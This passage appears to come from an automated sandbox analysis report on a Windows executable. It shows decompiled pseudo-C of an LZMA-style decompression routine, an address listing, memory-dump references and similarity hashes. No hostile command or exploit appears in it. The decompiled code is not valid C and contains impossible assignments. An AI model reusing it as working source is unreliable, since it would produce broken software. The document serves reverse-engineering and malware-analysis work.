												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00407018
0x00407018
0x0040701c
0x00407029
0x00407033
0x00000000
0x0040701e
0x0040701e
0x00407059
0x0040705c
0x0040705f
0x00407062
0x00407062
0x00407065
0x0040706c
0x00407071
0x00406f52
0x00406f55
0x004072c7
0x004072c7
0x004072c7
0x004072ca
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x00000000
0x00000000
0x00407318
0x0040731c
0x004074cb
0x004074e1
0x004074e9
0x004074f0
0x004074f2
0x004074f9
0x004074fd
0x004074fd
0x00407328
0x0040732f
0x00407337
0x0040733a
0x0040733d
0x0040733d
0x00407343
0x00407343
0x00406adf
0x00406adf
0x00406adf
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00000000
0x00406af9
0x00000000
0x00000000
0x00406b02
0x00406b05
0x00406b08
0x00406b0c
0x00000000
0x00000000
0x00406b12
0x00406b15
0x00406b17
0x00406b18
0x00406b1b
0x00406b1d
0x00406b1e
0x00406b20
0x00406b23
0x00406b28
0x00406b2d
0x00406b36
0x00406b49
0x00406b4c
0x00406b58
0x00406b80
0x00406b82
0x00406b90
0x00406b90
0x00406b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b84
0x00406b84
0x00406b87
0x00406b88
0x00406b88
0x00000000
0x00406b84
0x00406b5e
0x00406b63
0x00406b63
0x00406b6c
0x00406b74
0x00406b77
0x00000000
0x00406b7d
0x00406b7d
0x00000000
0x00406b7d
0x00000000
0x00406b9a
0x00406b9a
0x00406b9e
0x0040744a
0x00000000
0x0040744a
0x00406ba7
0x00406bb7
0x00406bba
0x00406bbd
0x00406bbd
0x00406bbd
0x00406bc0
0x00406bc4
0x00000000
0x00000000
0x00406bc6
0x00406bcc
0x00406bf6
0x00406bfc
0x00406c03
0x00000000
0x00406c03
0x00406bd2
0x00406bd5
0x00406bda
0x00406bda
0x00406be5
0x00406bed
0x00406bf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c35
0x00406c3b
0x00406c3e
0x00406c4b
0x00406c53
0x004072c7
0x004072c7
0x00000000
0x00000000
0x00406c0a
0x00406c0a
0x00406c0e
0x00407459
0x00000000
0x00407459
0x00406c1a
0x00406c25
0x00406c25
0x00406c25
0x00406c28
0x00406c2b
0x00406c2e
0x00406c33
0x00000000
0x00000000
0x00000000
0x00000000
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c5b
0x00406c5d
0x00406c60
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cde
0x00406ce8
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x00406c62
0x00406c66
0x00406c69
0x00406c6b
0x00406c6e
0x00406c71
0x00406c73
0x00406c76
0x00406c78
0x00406c7d
0x00406c80
0x00406c83
0x00406c87
0x00406c8e
0x00406c91
0x00406c98
0x00406c9c
0x00406ca4
0x00406ca4
0x00406ca4
0x00406c9e
0x00406c9e
0x00406c9e
0x00406c93
0x00406c93
0x00406c93
0x00406ca8
0x00406cab
0x00406cc9
0x00406ccb
0x00000000
0x00406cad
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb8
0x00406cb8
0x00406cb8
0x00406cbb
0x00406cbe
0x00406cc0
0x00406cc1
0x00406cc4
0x00000000
0x00406cc4
0x00000000
0x00406efa
0x00406efe
0x00406f1c
0x00406f1f
0x00406f26
0x00406f29
0x00406f2c
0x00406f2f
0x00406f32
0x00406f35
0x00406f37
0x00406f3e
0x00406f3f
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4a
0x00406f4f
0x00000000
0x00406f4f
0x00406f00
0x00406f03
0x00406f06
0x00406f10
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00000000
0x00406f64
0x00406f68
0x00406f8b
0x00406f8e
0x00406f91
0x00406f9b
0x00406f6a
0x00406f6a
0x00406f6d
0x00406f70
0x00406f73
0x00406f80
0x00406f83
0x00406f83
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00000000
0x00406fa7
0x00406fab
0x00000000
0x00000000
0x00406fb1
0x00406fb5
0x00000000
0x00000000
0x00406fbb
0x00406fbd
0x00406fc1
0x00406fc1
0x00406fc4
0x00406fc8
0x00000000
0x00000000
0x00000000
0x00000000
0x0040703f
0x00407043
0x0040704a
0x0040704d
0x00407050
0x00407045
0x00407045
0x00407045
0x00407053
0x00407056
0x00000000
0x00000000
0x004070ff
0x004070ff
0x00407103
0x004074a1
0x00000000
0x004074a1
0x00407109
0x0040710c
0x0040710f
0x00407113
0x00407116
0x0040711c
0x0040711e
0x0040711e
0x0040711e
0x00407121
0x00407124
0x00000000
0x00000000
0x00406cf4
0x00406cf4
0x00406cf8
0x00407465
0x00000000
0x00407465
0x00406cfe
0x00406d01
0x00406d04
0x00406d08
0x00406d0b
0x00406d11
0x00406d13
0x00406d13
0x00406d13
0x00406d16
0x00406d19
0x00406d19
0x00406d1c
0x00406d1f
0x00000000
0x00000000
0x00406d25
0x00406d2b
0x00000000
0x00000000
0x00406d31
0x00406d31
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d42
0x00406d45
0x00406d47
0x00406d4d
0x00406d50
0x00406d53
0x00406d56
0x00406d59
0x00406d5c
0x00406d5f
0x00406d7b
0x00406d7e
0x00406d81
0x00406d84
0x00406d8b
0x00406d8f
0x00406d91
0x00406d95
0x00406d61
0x00406d61
0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00407291
0x00407295
0x004072b7
0x004072ba
0x004072c4
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a1
0x004072a4
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00407385
0x00407385
0x00000000
0x00407385
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x004072a8
0x004072a8
0x004072ab
0x00000000
0x00000000
0x0040743f
0x00407442
0x00407343
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x004073c3
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00407343
0x00407343
0x00000000
0x00407349
0x00407343
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073e7
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407419
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x00000000
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000
0x004074f6
0x00407343
0x004072ca
0x004072c7
0x00000000
0x0040701c

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction ID: ba5f555e51aa8b1381cdd2b0d2a1af6e0fef70f9c7cb40d8a5f6f768353cc961
Opcode Fuzzy Hash: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction Fuzzy Hash: 30713371E04228CFDF28CFA8C854BADBBB1FB44305F15806AD856BB281C7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406F64, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406F64() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
